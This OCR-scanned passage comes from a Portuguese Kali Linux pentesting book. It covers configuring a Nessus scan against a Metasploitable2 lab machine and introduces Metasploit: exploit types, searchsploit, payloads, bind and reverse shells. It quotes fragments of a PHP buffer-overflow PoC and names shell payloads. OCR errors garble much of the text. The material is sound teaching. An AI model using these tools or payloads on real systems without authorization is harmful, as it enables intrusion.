feed ao clicar em Update Activation Code (Atualizar o coédigo de ativagdo). Apds a ativacdo, atualize os
plugins do Nessus clicando no botdo Update Plugins (Atualizar plugins).

Configurando um scan

As politicas controlam o modo pelo qual o scan do Nessus serda executado, incluindo as opgoes e as
credenciais a serem utilizadas. O desenvolvimento de politicas completas estd além do escopo deste
livro, portanto o foco deste exemplo estard na modificagio de uma politica existente. Selecione a aba de
politicas e, em seguida, abra Internal Network Scan (Scan de rede interna) clicando no titulo. Isso fara a
caixa de didlogo que contém as opgdes ser aberta, e diversas abas serdo mostradas.

Todas as abas sao uteis e devem ser exploradas no ambiente de laboratorio antes de usar a ferramenta
em ambiente de produgdo. Por exemplo, como o nome do usuario e a senha ndo conhecidos na
maquina Metasploitable, essas credenciais podem ser inseridas na aba de credenciais, proporcionando
mais acesso ao alvo remoto pela ferramenta de scanning. A descoberta dessas credenciais normalmente
ocorre na fase de Reconhecimento. A figura 8.18 mostra a inser¢io do nome do usudrio e da senha
para a maquina virtual Metasploitable na aba de credenciais.

A aba Plugins induz o scanner a realizar o scan usando configuracgdes, servicos e opg¢des especificos. Por
exemplo, um dos grupos de opgdes habilitado por default é o DoS. Supondo que o DoS ndo seja
permitido pelo ROE atual, esse grupo de opgoes deve ser desabilitado. Faga isso clicando no botdo verde
que indica que ele esta habilitado. A cor do botiao devera mudar para cinza e o texto agora devera



mostrar a palavra disabled (desabilitado). Para verificar os tipos de verificacdes que serdao executados por
esse grupo de opgoes, clique no texto ao lado do botdo e os itens incluidos como verificagoes de DoS
serdo mostrados, como podemos ver na figura 8.19. O niimero que estd no retangulo a direita, que
nesse caso é igual a 103, indica a quantidade de verificagdes existentes nesse grupo.

Palicies T Configuration

ﬁ Credential Type 55H sefttings -

i" Credentials
o
y‘,

SSHuser nme | rasfadmin
SEH password (unsalen YT
S5H public key to use Browss...—' Mo file selected

o '] 2
S5H privige Key 1o use Browdse,.— Mo fde selected

Passphrase for SSH key
Elsvae privileges with | Cisco 'enable’ -
FPrivdege skevamon binary pah (drectory
5 bogin
Escalafion account | maot
Scroll Escalaion password

Figura 8.18 - Credenciais no Nessus.
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Figura 8.19 - Removendo o DoS.

Apos fazer essas alteragdes, retorne a aba General Settings (Configuragdes gerais) e insira um nome novo
no campo Name (Nome); nesse caso, No DoS foi inserido nesse campo (Figura 8.20) e o botao Update
(Atualizar) foi selecionado. Depois que a aplicacao for atualizada, essa nova Politica estara disponivel na
lista Policies (Politicas), como mostrado na Figura 8.21.

Internal ketwo SCE W Filter Options

E|
O

General Settings Policy General Settings

Setting Type Basic .

x> A

Name | po DosS
Wisibiiny shared -
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Alow Post-Scan Bepont Edting |+

= -

Figura 8.20 - Renomeando para No DoS.



i Policies + Hew Policy @ Upload O oOptions W

v Hame & Visihility Created By
External Netvork Scan shared Tenable Policy Distribution Service
o o5 J shared lessuws *®
Frepare for PCLHDSS audits [section 1L.2.2) shared Tenakds Policy Distribution Service
Web App Tesis shared Tenabie Policy Disinbution Service

Figura 8.21 - Entrada correspondente a No DoS na lista.

O ultimo passo na configuragdo do scan consiste em criar o template do scan. Crie um novo template
selecionando o botao + New Scan (+ Novo Scan). Em General Scan Settings (Configuragdes gerais do scan),
dé um nome ao novo template; neste exemplo, No DoS Test Scan foi inserido como o nome, o tipo Run Now
(Executar Agora) néo foi alterado, a politica foi definida como No DoS e o alvo do scan foi configurado de
modo a ser a maquina virtual Metasploitable2, que possui enderego IP igual a 10.0.2.100, identificado
anteriormente. Um arquivo texto contendo a lista de alvos também poderia ter sido carregado por meio
dos botoes Upload Targets (Carregar alvos) e Browse (Procurar).

A aba de emails pode ser usada para inserir enderecos de email de usudrios que poderdo obter
informacoes do template do scan. Para que isso funcione, o servico SMTP (Simple Mail Transfer
Protocol) deve ser configurado. Isso ndo sera feito neste exemplo.

Apos ter conferido duplamente todas as configuragdes, o scan podera ser iniciado. Faca isso clicando no
botdo azul RunScan (Executar o scan). Isso fard o scan ser iniciado no(s) alvo(s) selecionado(s) usando o
perfil selecionado. A Scan Queue (Fila de scans) mostrara o status do(s) scan(s) atual(is), como mostrado
na figura 8.22.
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Figura 8.22 - Scan Queue (Fila de scans).

A medida que o scan executar, as vulnerabilidades descobertas poderio ser vistas na aba Results
(Resultados). A figura 8.23 mostra o resultado do scan na maquina virtual Metasploitable2 depois de o
scan ter executado somente durante alguns minutos, ndo tendo concluido sequer a marca de 0% de
execucdo. Isso mostra como essa maquina virtual é vulneravel e por que ela nunca deve ser conectada
diretamente a internet.

Depois que o scan for concluido, a aba Results podera ser usada para exportar os dados em diversos



formatos, incluindo CSV (Comma Separated Variable, ou Variaveis separadas por virgula), PDF e
HTML; nesse exercicio, os resultados serdo exportados na forma de um arquivo PDF. Todos os
capitulos foram incluidos por meio da selecio dos botdes Host Summary (Executive) [Resumo do host
(Executivo)], Vulnerabilities By Host (Vulnerabilidades por host) e Vulnerabilities by Plugin (Vulnerabilidades
por plugin), nesse caso. Cada botdo torna-se azul, mostrando que esta selecionado para a exportacgao.
Selecione o botao azul Export (Exportar) para iniciar a exportagio (Figura 8.24).
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Figura 8.23 - Resultados do scan.
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Figura 8.24 - Relatério associado ao scan.

O Nessus é uma ferramenta eficiente de scanning que possui recursos excelentes. Varios livros e videos
mergulham mais a fundo na configuracio e no uso da ferramenta de scanning Nessus. E recomendével
que essa aplicacdo seja completamente testada no ambiente de laboratério antes de ser usada em
sistemas de producio.

Resumo

Existem varias ferramentas uteis ja incluidas na distribuicdo Kali Linux que podem auxiliar no processo
de scanning. Este capitulo mal tocou a superficie de trés das ferramentas mais populares que podem ser
usadas na fase de scanning do ciclo de vida dos testes de invasdo. Mais informacgdes sobre essas
ferramentas e aplicagdes podem ser encontradas nas man pages (manual) ou nos arquivos de ajuda de
cada ferramenta. Além do mais, existem vdrias outras ferramentas na distribuicdo Kali Linux que
podem ser utilizadas para completar a fase de scanning. Os resultados dessa fase serdao fundamentais
para auxiliar o pentester nas fases subsequentes dos testes de invasao.

1 N.T.: Um Script Kiddie (garoto dos scripts, em uma tradugao literal) é um termo depreciativo atribuido aos grupos de crackers
inexperientes (geralmente das camadas etarias mais novas) que desenvolvem atividades relacionadas a seguranca de
informagdes, utilizando o trabalho intelectual dos verdadeiros especialistas técnicos. Nao possuem conhecimento de programagio e nao
estdo  interessados em tecnologia, mas em ganhar fama ou outros tipos de lucros pessoais (Fonte:
http://pt.wikipedia.org/wiki/Script_kiddie).



CAPITULO 9
Exploracao de falhas (exploitation)

Informagoes contidas neste capitulo:
« Visdo geral do Metasploit
o Acesso ao Metasploit

« Exploragao de falhas de servidor web e de aplicagdes web

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo inclui:

» a diferenca fundamental entre vetores de ataque e tipos de ataque

« 0s conjuntos de ferramentas basicas do Kali Linux usados na exploracio de falhas

o 0 uso do Metasploit para atacar um alvo

« uma introducdo ao hacking de web services

Introducao

Exploracao de falhas

Conforme definido pelo NIST (National Institute of Science and Technology), Publicagdo Especial 800-
30, Apéndice B, pagina B-13, uma vulnerabilidade é definida como “um ponto fraco em um sistema de
informagao, nos procedimentos de seguranga de um sistema, nos controles internos ou em uma
implementacio, e que pode ser explorado por uma fonte de ameacas’1; no entanto essa definicdo tem
um escopo excessivamente amplo para ser usado na discussio sobre exploracdo de falhas e exige
esclarecimentos adicionais. Uma vulnerabilidade é causada por um “erro”. O erro pode existir em varios
lugares pelo sistema de informacio, ALEM DE poder ocorrer como consequéncia de a¢des de pessoas
que usam ou que administram as redes e os computadores no dia a dia. As vulnerabilidades em um
sistema de informac¢io podem existir dentro ou fora da rede, podem permanecer dormentes em cddigos
precarios e softwares nao testados, podem ser geradas em decorréncia de controles de seguranca
inadequados (mais especificamente, por meio de aplicacdes e dispositivos de rede configurados de
forma descuidada) ou podem nio estar na parte técnica da rede, mas ser o resultado do uso de varios
meios sociais que exploram os usudrios do sistema de informacao.

Considere por um momento que a palavra vulnerabilidade seja sinonimo da expressiao ponto fraco. A
exploracao de falhas consiste simplesmente em usar um ponto fraco para obter acesso a um sistema de
informagao ou para torna-lo inutil como consequéncia de uma negagio de servico (denial of service).
Uma exploracao de falhas é limitada somente pelo esgotamento da determina¢ao e da for¢a de vontade



de um invasor para continuar lutando contra as medidas de seguranca instaladas que protegem o
sistema de informacdo. A melhor ferramenta que um pentester tem é o seu cérebro. Lembre-se de que
ha muitas portas, ou seja, muitos pontos de entrada, para um sistema. Se vocé descobrir que uma porta
esta fechada, procure a proxima. Poder efetuar a exploragio de falhas é um dos talentos mais dificeis de
adquirir e um dos mais cobicados para um pentester. E necessirio tempo, conhecimento e uma boa
dose de persisténcia para aprender a respeito de todos os tipos de ataques associados a um tnico vetor
de ataque.

Vetores de ataque versus tipos de ataque

No que diz respeito aos vetores e aos tipos de ataque, existe uma linha diviséria ndo muito precisa que,
com frequéncia, é indevidamente representada e é mal compreendida. As vezes, esses dois termos
podem parecer sin6nimos; no entanto é necessario ter clareza e distingui-los para entender melhor o
modo como os exploits sdo classificados e usados adequadamente. Saindo um pouco da area da
eletronica por alguns instantes, considere o seguinte: um vetor refere-se a um meio de transmissao e, de
modo muito semelhante a um pernilongo, um carrapato ou uma aranha, o tipo de agente patogénico
(ou virus) sera diferente, porém o método de transmissio é sempre uma unica picada. Cada tipo de
agente patogénico carrega conjuntos diferentes de instrugdes que podem ser semelhantes por natureza,
mas que permanecem distintos de uma maneira ou de outra. Em relacio aos sistemas de informacéo, os
vetores de ataque correspondem a categorias genéricas usadas para classificar subconjuntos ou grupos
de tipos de ataque.

Vetores deataque Tipos de ataque

Injecdo de codigo | Buffer Overflow (transhordamento de buffer)

Buffer Underrun (Esvaziamento de buffer)

Virus

Malware

Baseadosemweb | Defacement (Desfiguracdo)

Cross-site Scripting (XS9)

Cross-Site Request Forgery (CSRF)

Injecao de SQL

Baseadosemrede | Denial of Service (DoS, ou Negagdo de servio)
Distributed Denial of Service (DDoS, ou DoS distribuido)

Interceptagdo de senhas e de dados sensiveis

Roubo ou falsificacdo de credenciais

Engenhariasocial | Personificacdo
Phishing
Spear Phishing

Intelligence Gathering (Coleta de informagdes)

Entender ndo s6 o tipo de ataque como também os meios pelos quais o ataque pode ocorrer é
fundamental na exploracio de falhas. Nas se¢does a seguir, uma pequena lista de ferramentas sera
apresentada para diferentes tipos de ataque, com énfase especial no Metasploit Framework. Sem
entender como, onde e quando aplicar as ferramentas, um grande esfor¢o sera despendido, porém trara
poucos retornos em um teste de invasdo ou em uma avaliacdo de seguranga.



Exploits locais

Como o titulo sugere, os exploits “locais” devem ser executados localmente no computador, no
dispositivo de rede ou no telefone celular a partir de uma sessdo estabelecida. Em outras palavras, se o
pentester estiver sentado fisicamente diante de um terminal logado no computador ou se tiver um
tunelamento por meio de um SSH, uma conexdo VPN (Virtual Private Network, ou Rede Privada
Virtual) ou uma sessio RDP (Remote Desktop Protocol), entdo o exploit sera classificado como local.
Os exploits locais podem ser usados para aumentar os privilégios, provocar DoS, roubar informagoes ou
carregar arquivos maliciosos. E importante lembrar-se de que os exploits locais nio podem ser
executados por meio da rede, exceto quando houver conexdes que parecam ser locais, conforme
descrito anteriormente. Tentar usar um exploit local sem que o codigo seja executado no sistema que
possui a vulnerabilidade resultara em falhas, provavelmente provocando o disparo de alarmes aos
administradores, e fard os pentesters perderem seu tempo.

Ha um mal-entendido comum a respeito do modo como podemos realmente tirar proveito dos exploits
locais. Os exploits locais ndo precisam ser executados por um invasor. Por meio de técnicas cuidadosas
de engenharia social ou de outros meios para enganar, um invasor ou um pentester pode ludibriar um
usuario logado localmente fazendo com que ele execute um exploit local. Um bom exemplo dessa tatica
estd no uso de um backdoor como cavalo de Troia oculto em um documento PDF aparentemente
inocente ou em um cédigo de macro inserido em uma planilha Microsoft Excel. Um dispositivo USB
contendo um c6digo iniciado de forma automatica, convenientemente deixado do lado de fora de um
prédio comercial, esperando ser achado e conectado por um usudrio que niao desconfia de nada
também pode fazer um exploit local ser carregado. As possibilidades sio limitadas somente pela
imaginacao do invasor ou do pentester. Em muitas ocasides, quando uma exploracdo de falhas remota
nao tiver éxito e uma conexdo nio puder ser estabelecida de fora para dentro, os exploits locais poderdo
ser implantados dessa maneira de modo a estabelecer uma conexdo de dentro para fora.

Pesquisando exploits locais

Existem literalmente milhares de exploits locais dos quais é possivel tirar proveito, porém escolher os
exploits corretos pode parecer um pouco dificil no comeco. O Metasploit da Rapid7 simplificou esse
processo com um programa chamado Searchsploit e, em virtude da natureza do sistema de arquivos do
Kali Linux no Debian 7, o programa se tornou mais facil ainda. A procura de exploits por meio da
interface de linha de comando do Metasploit Framework sera discutida posteriormente neste capitulo.
Vamos analisar a maneira de usar o Searchsploit para encontrar os exploits no banco de dados de
exploits do Metasploit a partir de uma janela do terminal.

Searchsploit
 Abra uma janela do terminal.
« Digite searchsploit e até trés palavras-chave.

Por exemplo: root@kali~# searchsploit local windows iis (Figura 9.1).



root@kali:~# searchsploit local windows 1iis
Description

PHP <= 5.2.0 (php_iisfunc.dll) Local Buffer Overflow PoC (win32
) /windows/dos/4318.php
root@kali:~#

Figura 9.1 - O Searchsploit.

Nesta pesquisa, um tnico resultado foi retornado; podemos perceber que usar o Searchsploit é bem
facil. A pesquisa retornou uma vulnerabilidade de DLL (Dynamic Link Library, ou Biblioteca de
Vinculo Dindmico) para um sistema Windows 32 bits executando o IIS e que utiliza o PHP versao 5.2.0
ou uma versdo mais antiga. Se o exploit local for executado, uma vulnerabilidade de buffer overflow
sera explorada e provocarda um DoS no host. Para obter mais informagdes sobre o(s) exploit(s), faca o
pipe da saida de um comando locate, como mostrado na figura 9.2.

rootigkali:-# cat "locate /windows/dos/4318.php’

php_iisfunc.dll PHP <= 5.2.0 (win32) Buffer Overflow PoC
Discovery: boecke <hoecke(lherzeleid.net>
Risk: Local Buffer Overflow (Medium - High Risk)
Notes: Various other functions are exploitable, all of which conve
string argument(s) to unicode.
extern "C" IISFUNC_API int fnStartService(LPCTSTR Serviceld);
extern "C" IISFUNC_API int fnGetServiceState(LPCTSTR Serviceld);
extern "C" IISFUNC API int fnStopService(LPCTSTR Serviceld);

"Sangre, sonando, de rabia naci.. Who do you trust?”
- Cygnus, Vismund Cygnus: Sarcophagil

lextension_loaded( "iisfunc" ) )

die{ "Extension not Lloaded.\n" ):

Figura 9.2 - Locate.

Exploits remotos




Um exploit que tem como alvo um computador, um dispositivo de rede, um telefone celular ou um
servico a partir de um local externo ao sistema operacional base é considerado um exploit remoto; as
vezes, esses exploits sdo também chamados de exploits de rede. Independentemente de seu nome,
quando o exploit é executado, se ele ndo for local, entdo sera remoto. A exploragdo remota de falhas
nao tem apenas computadores, servidores e dispositivos de rede como alvo. Os exploits remotos
incluem ataques a web services e aplicacoes, bancos de dados, impressoras, telefones celulares e tudo o
que estiver conectado a uma rede. A medida que mais dispositivos eletronicos podem ser conectados a
uma rede, as possibilidades de ataques mais sofisticados também aumentam. Podemos citar, por
exemplo, os sistemas de jogos como o PlayStation da Sony ou o Xbox da Microsoft, os smart TVs, os
tablets, os players de musica, os DVD players, e a lista ndo para por ai. Basta pensar nos sistemas de
computador incluidos nos carros mais modernos. Se o dispositivo for eletrénico ou se estiver conectado
a uma rede, alguém em algum lugar do mundo ja estara tentando invadi-lo, provavelmente apenas por
diversdo, mas também é bem possivel que o faca por dinheiro. Os exploits remotos serdo discutidos
posteriormente neste livro, quando explorarmos o Metasploit Framework.

Visao geral do Metasploit

O Metasploit é uma das ferramentas indiscutivelmente mais eficientes do kit de ferramentas do
pentester; ele carrega consigo os recursos associados a anos de conhecimentos e de experimentos
meticulosos efetuados por hackers, pentesters, governos e pesquisadores de todo o mundo, que incluem
diferentes partes da comunidade de seguranga de computadores. Do mais sombrio dos black hats até os
white hats mais famosos do planeta, e todos os que estiverem entre eles, ndo importa o caminho que
tenham percorrido, o Metasploit esteve presente em algum momento. A Rapid7, com sede em Boston,
MA, néo desperdicou nenhum centavo nem deixou nenhum ciclo de CPU livre para desenvolver um
conjunto de ferramentas contidas em um framework sélido que facilita todos os passos da metodologia
do teste de invasdo, do inicio ao fim. Para os profissionais que atuam ativamente na area, o Metasploit
também oferece templates de relatérios e inclui verificagdes de aderéncia (compliance checking) nos
niveis exigidos pelo governo. Se essa é a primeira vez que vocé esta usando o Metasploit, prepare-se
para ficar impressionado.

Um breve historico

No inicio, ndo havia nada... vazios aqui e ali, além do caos, com ferramentas dispersas nos confins da
confusa World Wide Web. Mensagens espalhadas e por¢des de cddigos aleatérios permaneciam nas
sombras em sistemas de bulletin board ocultos. Negociagdes obscuras e todo tipo de discussdo entre
geeks ocorriam livremente em meio a presenca de novatos e aspirantes mundanos. Era um lugar em
que os phreakers mandavam sem que a NSA tivesse tempo de amarrar o cadarco de seus sapatos e
nem mesmo pudesse contar até 2.600; era o oeste selvagem do mundo da seguranga, cheio de espides e
de foras da lei.

Bem, ndo exatamente, embora a descri¢do ndo esteja tao longe da verdade.

No final de 2003, HD Moore, o criador e o génio por tras do Metasploit Framework, disponibilizou a
primeira versio dessa ferramenta, na época baseada em Perl, com apenas 11 exploits, para que os



esforcos de parsing de uma enorme quantidade de linhas de bugs, cddigos de exploits e
vulnerabilidades publicamente disponiveis ficassem concentrados em um tnico programa simples e facil
de ser usado. A versao 2, disponibilizada em 2004, totalizava 19 exploits, porém incluia quase 30
payloads. Com a disponibilizacdo da versdao 3 em 2007, o projeto de Moore explodiu e rapidamente
tornou-se o padrdo de uso e uma ferramenta necessaria e preferida dos pentesters no mundo todo.
Atualmente, o Metasploit estd na versdo 4.7, esta integrado na forma de um programa baseado em
Ruby e acompanha o Kali Linux por padrao. Na época desta publicacio, essa ferramenta oferecia mais
de 1.080 exploits, 675 mddulos auxiliares, 275 payloads, 29 tipos diferentes de codificadores e podia ser
usado igualmente nas plataformas Microsoft, Linux e Mac. A equipe da Rapid7 ndo tem nenhum
preconceito e todos os protocolos serao verificados.

Versao Professional versus versao Express

Atualmente existem duas versdes do Metasploit. O framework Express, instalado por padrio, é uma
versdo gratuita e estd voltada para pesquisadores, estudantes e para o uso privado. Para pentesters
profissionais das areas comerciais e governamentais, a versdo Professional oferece relatérios, sistema de
colaboragdo para grupos, verificacdo de aderéncia e assistentes sofisticados para permitir mais precisao e
controle. A versao Professional tem um custo e, sendo assim, a menos que o Metasploit va ser usado
para alguma atividade que ndo seja pessoal, ndo ha verdadeira necessidade de adquiri-la. Os mddulos
de exploits sao iguais tanto na versao Professional quanto na versdo Express.

Nexpose e o controle de aderéncia

Os profissionais que efetuam avaliagdes de seguranca conhecem muito bem o trabalho rigoroso e
macante associado a politicas e controles de aderéncia. O Nexpose permite a esses profissionais
simplificar as tarefas e o gerenciamento de riscos associados a avaliagao do nivel de seguranca de uma
empresa. O Nexpose faz mais do que simplesmente efetuar o scan em busca de vulnerabilidades usando
o Metasploit. Apods realizar um scan inicial com o Nexpose, as vulnerabilidades descobertas sdao
analisadas e classificadas de acordo com as categorias de risco, sdo sujeitas a uma analise de impacto e
verificadas novamente para serem informadas. O Nexpose verifica ndo s6 as vulnerabilidades, mas
também os controles de aderéncia, como aqueles associados ao PCI DSS (Payment Card Industry Data
Security Standard), ao HIPPA (Health Insurance Portability and Accountability Act), ao NERC (North
American Electrical Reliability Corporation Standards), ao FISMA (Federal Information Security
Management Act de 2002), ao USGCB (United States Government Configuration Baseline), ao FDCC
(Federal Desktop Core Configuration), ao SCAP (Security Content Automation Protocol) e a outros.

Aberto versus encoberto

Trabalhar de modo aberto consiste em trabalhar com a empresa de modo a facilitar o teste de invaséo e
o mapeamento do nivel de seguranca. Em testes de invasao abertos, o pentester pode lancar ondas e
mais ondas de ataques contra a empresa porque nio havera o temor de ser bloqueado ou de disparar
qualquer tipo de alarme. Afinal de contas, em missdes abertas, a empresa sabe que o pentester esta
presente e ela estara geralmente disposta a ajudar em todos os aspectos relacionados a execu¢ao do
teste. Uma das principais vantagens de um teste aberto é que o pentester pode obter informacoes



internas do sistema e de suas fung¢des essenciais, de modo a tirar o maximo proveito delas ao efetuar os
testes. A desvantagem desse tipo de teste é que o escopo pode ser limitado e metodologias avangadas
deverio ser informadas ao cliente antes de serem utilizadas. As vezes, isso pode causar um profundo
impacto no tempo necessario para a realizacdo de um teste completo.

Um teste encoberto em uma empresa é um teste em que uma quantidade limitada de pessoas tem
conhecimento das operacoes de teste. No caso de um teste encoberto, um niimero bastante restrito de
pessoas da empresa — em geral um gerente de TI, o gerente da drea de seguranga ou um superior —
saberd sobre o teste de seguranca com antecedéncia. Um pentester deve ser habilidoso e competente
para usar a enorme quantidade de ferramentas de seu arsenal a fim de manter o siléncio na rede. Esses
tipos de teste de seguranca sio conduzidos ndo s6 para testar as vulnerabilidades do sistema de
seguranca da rede, mas também para testar as agdes de possiveis CERTs (Computer Emergency
Response Teams) que devem estar de prontiddo, bem como a eficiéncia dos IDS (Intrusion Detection
Systems, ou Sistemas de Deteccdo de Invasdo). Observe que um evento pode ter inicio na forma de
uma missdo encoberta, porém pode mudar para uma missio aberta no meio do caminho por varios
motivos, por exemplo, em virtude do alto nimero de vulnerabilidades criticas identificadas ou pelo fato
de a presenca do pentester ter sido comprometida.

O framework basico

O Metasploit é um sistema modular. Para entender melhor o framework, encarar o Metasploit
Framework como se fosse um veiculo pode ajudar. O framework é muito semelhante ao chassi do bem
conservado Aston Martin de James Bond, que prové um local em que se alojam todos os médulos que
abastecem o carro. HD Moore, de modo muito parecido com o personagem “Q” dos filmes de James
Bond, abasteceu todos os cantos da ferramenta com um arsenal de itens interessantes. Se um dos
moddulos do framework for avariado ou removido, o veiculo podera continuar funcionando e langando
onda apés onda de ataques.

O framework pode ser dividido nos tipos de mddulo a seguir:

1. Modulos de exploits
2. Médulos auxiliares
3. Payloads

4. Listeners

5. Shellcode

As aplicagdes que tém interface com o framework Metasploit podem ser consideradas como uma sexta
categoria, por exemplo, o Armitage; no entanto elas ndo fazem parte do framework propriamente dito.
S6 porque James Bond pode controlar o seu veiculo a partir de seu reldgio de pulso, isso ndo significa
que o veiculo exija que o proprietario use o reldgio para opera-lo.

Moédulos de exploits

Os mddulos de exploits correspondem a partes de cddigo previamente empacotadas que estao no banco
de dados e que, quando executadas no computador de uma vitima, tentarao tirar proveito de uma



vulnerabilidade do sistema local ou remoto comprometendo-o e permitindo um DoS, a obtencio de
informagoes sensiveis ou a carga de um moddulo de payload especialmente desenvolvido, como o
Meterpreter shell ou outro tipo de call back shell.

Moébdulos auxiliares

De modo diferente dos mddulos de exploits, os mddulos auxiliares nao exigem o uso de um payload
para executar. Esses tipos de mddulo incluem programas uteis como scanners, fuzzers e ferramentas
para injecdo de SQL. Algumas das ferramentas que estdo no diretério auxiliar sdo extremamente
eficientes e devem ser usadas com cautela. Os pentesters utilizam a grande variedade de scanners
presentes no diretorio auxiliar para ter uma compreensido mais profunda do sistema a ser atacado e, em
seguida, fazem a transicao para os mdédulos de exploits.

Payloads

Se o Aston Martin de James Bond é uma referéncia ao proprio Metasploit Framework, os mdédulos de
exploits e os auxiliares podem ser relacionados aos langadores de misseis e aos lanca-chamas ocultos.
Nesse modelo, os payloads seriam os equipamentos de comunicagdo especializados que podem ser
conectados ao alvo para manter as comunicacdes e os monitoramentos encobertos. Ao usar um exploit
contra um equipamento vulneravel, um payload geralmente é associado ao exploit antes de sua
execucdo. Esse payload contém o conjunto de instrugoes a serem executadas pelo computador da vitima
apos o comprometimento. Existem varios tipos de payload, que podem variar de algumas linhas de
codigo até pequenas aplicagoes como o Meterpreter shell. Uma pessoa ndo deve simplesmente ir direto
para o Meterpreter shell. O Metasploit contém mais de 200 payloads diferentes. Existem payloads para
NetCat, injecdo de DLL (Dynamic Link Library, ou Biblioteca de Vinculo Dinamico), gerenciamento de
usuarios, shells etc. Pense como um espido pode fazer o pentester assumir a postura adequada quando
se trata da selecdo de um payload. O pentester deve considerar qual é o objetivo como um todo apoés o
sucesso do exploit. O codigo deve ficar dormente até ser acionado? O cddigo executado deve se
conectar de volta ao invasor para obter mais instrugdes? O codigo deve simplesmente executar uma
série de comandos de desligamento? Deve inutilizar o sistema da vitima? Os payloads mais comuns sdo
classificados como bind shells e reverse shells.

Bind Shells

Esses tipos de shell permanecem dormentes e ficam a espera de um invasor se conectar ou enviar
instrugdes. Se um pentester souber que havera um acesso direto de rede ao sistema no futuro, durante
a realizacao do teste, e ndo quiser chamar a atencio, entdo os bind shells podem ser a escolha ideal. Os
bind shells ndo sio uma boa op¢io para computadores que estiverem atras de um firewall e que nédo
permitirem um acesso direto de rede a eles.

Reverse Shells

Os reverse shells (shells reversos) conectam-se de volta ao pentester a fim de receber instru¢des
imediatas e permitir uma interagdo. Se o computador comprometido executar o exploit com um payload
reverso, um shell sera apresentado ao pentester para acesso a esse computador, como se ele estivesse



sentado diante do teclado da vitima.

Meterpreter shell

O Meterpreter shell - um tipo especial de shell - é a ferramenta essencial do Metasploit. A Rapid7
desenvolve continuamente o Meterpreter shell, que tem um miniarsenal préprio incrivelmente letal. O
Meterpreter shell pode ser adicionado como um payload que pode ser tanto um bind shell quanto um
reverse shell. O uso do Meterpreter shell sera discutido em detalhes posteriormente neste capitulo.

A sele¢do do payload normalmente é menosprezada pela maioria dos pentesters iniciantes por causa da
pressio em chegar a “root” o mais rdpido possivel e obter acesso por meio de um Meterpreter shell. As
vezes, isso ndo é o ideal, e um processo bem planejado é necessario para explorar uma vulnerabilidade.
Durante um teste de invasio encoberto, sair atirando para todos os lados certamente fara todos os
alarmes da rede serem acionados. James Bond certamente teria uma carreira mais curta se nao fosse
discreto em todas as tentativas de se infiltrar no acampamento inimigo.

Na selecio de payload, ndo se trata de simplesmente escolher um. Dos mais de 200 payloads
disponiveis, ha duas categorias principais: inline ou staged. Os payloads inline, ou payloads simples,
incluem tudo e sdo autocontidos. Os payloads staged contém varias partes chamadas de stagers. Os
payloads staged se encaixam em varios espagos pequenos de memoria e esperam a execu¢io de um
stager anterior. Em algum momento, todos os stagers serdo executados, como ocorre em uma grande
peca de teatro nos palcos (stages) da Broadway. Identificar a diferenca entre payloads inline e staged é
um pouco complicado ao fazer a pesquisa pelo nome. Por exemplo, a seguir encontram-se dois payloads
diferentes que parecem ser semelhantes:

inux/x64/shell/bind_tcp (Staged)
linux/x64/shell bind tcp (Inline)

No console do Metasploit, a execucdo do comando show payloads mostrard uma lista de todos os
payloads disponiveis. A coluna mais a direita contém uma descri¢ao bem sucinta da funcionalidade do
payload e especifica se esse é inline ou staged. Se ndo houver uma especificagao explicita do payload
como sendo inline ou staged na descri¢cdao, assume-se que ele é um modulo inline.

Listeners

Até mesmo o poderoso 007 deve receber ordens de “M”. Os listeners correspondem a handlers
especificos do Metasploit framework que interagem com as sessdes estabelecidas pelos payloads. O
listener pode estar embutido em um bind shell e permanecer a espera de uma conexdo ou pode ficar
ouvindo ativamente a espera de uma conexao de entrada no computador do pentester. Sem o uso do
listener, as comunica¢des de um lado para o outro ndo seriam possiveis. Felizmente, os listeners sdo
tratados pelo programa Metasploit e exigem pouca interagao.

Shellcode

O shellcode nao ¢é particularmente um modulo por si s6, mas assemelha-se mais a um submoédulo
embutido nos payloads disponiveis do Metasploit framework. De modo muito semelhante ao material
explosivo que se encontra dentro do missil lancado pelo Aston Martin de James Bond, o shellcode que



estd dentro do payload é mais parecido com esse material explosivo. O shellcode corresponde ao
sistema de entrega interno que efetivamente gera a brecha, carrega cddigos maliciosos e executa os
comandos dentro do payload de modo a criar um shell - por isso o nome shellcode. Nem todos os
payloads contém shellcode. Por exemplo, o payload windows/adduser corresponde somente a uma série
de comandos com o propdsito de criar um usuario ou uma conta de administrador em uma plataforma
Windows.

O shellcode exige um mergulho profundo no mundo da programacio, o que pode ser bastante confuso
para pentesters iniciantes. Este livro ndo entra em detalhes sobre como escrever um shellcode. Os
autores aconselham procurar os cursos de treinamento oferecidos pela Offensive Security ou pelo SANS
Institute. Se vocé ndo estiver a fim de ter aulas, o Google sera um bom companheiro.

Acesso ao Metasploit

O Metasploit pode ser acessado de diversas maneiras. Até ter uma base sdlida para entender a eficiéncia
do Metasploit e poder controld-lo é aconselhavel que se use a interface grafica. A GUI é acessada por
meio da selecdo de Metasploit Community/Pro no menu principal:

Applications > Kali > Exploitation > Metasploit > Metasploit Community/Pro

De modo alternativo, o usuario pode usar um navegador web e acessar https://localhost:379¢/. O
Metasploit ndo tem um certificado de seguranca valido. Se as configura¢oes default do IceWeasel nao
forem alteradas, o pentester vera uma mensagem de erro contendo Connection is Untrusted (Conexao nao ¢
confiavel). Clique em | Understand the Risks (Eu compreendo os riscos), seguido de Add Exception (Adicionar
exce¢do). Quando solicitado, clique no botdao Confirm Security Exception (Confirmar exce¢do de seguranca)
para prosseguir.

Na primeira execu¢do do Metasploit, o pentester sera solicitado a criar um nome de usudrio e uma
senha. Um segundo conjunto de parametros opcionais também estara disponivel. Esse conjunto sera
usado para recursos de relatério do Metasploit. Ao terminar, clique no botao Create Account (Criar conta)
para prosseguir.

Inicializacao/finalizacao do servico

As vezes, serd necessario reiniciar o servico Metasploit. O Metasploit exige muitos recursos e vérios
servicos dependem da estabilidade da rede. Se nao houver recursos suficientes no computador ou se o
pentester obtiver erros da rede, é melhor tentar reiniciar o servigo. Comece verificando o status do
servico. A partir de uma janela do terminal, um pentester pode dar os comandos para iniciar, reiniciar e
finalizar o servico Metasploit (Figura 9.3).

service metasploit status



rootidkali:-# service metasploit status
[FAIL] Metasploit rpc server is not running
[FAIL] Metasploit web server is not running
[FAIL] Metasploit worker is not running ...
root@kali:~# |

Figura 9.3 - Verificando o status do servico Metasploit.
Para reiniciar o servi¢o (Figura 9.4):

service metasploit restart

rootikali:-# service metasploit restart
ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
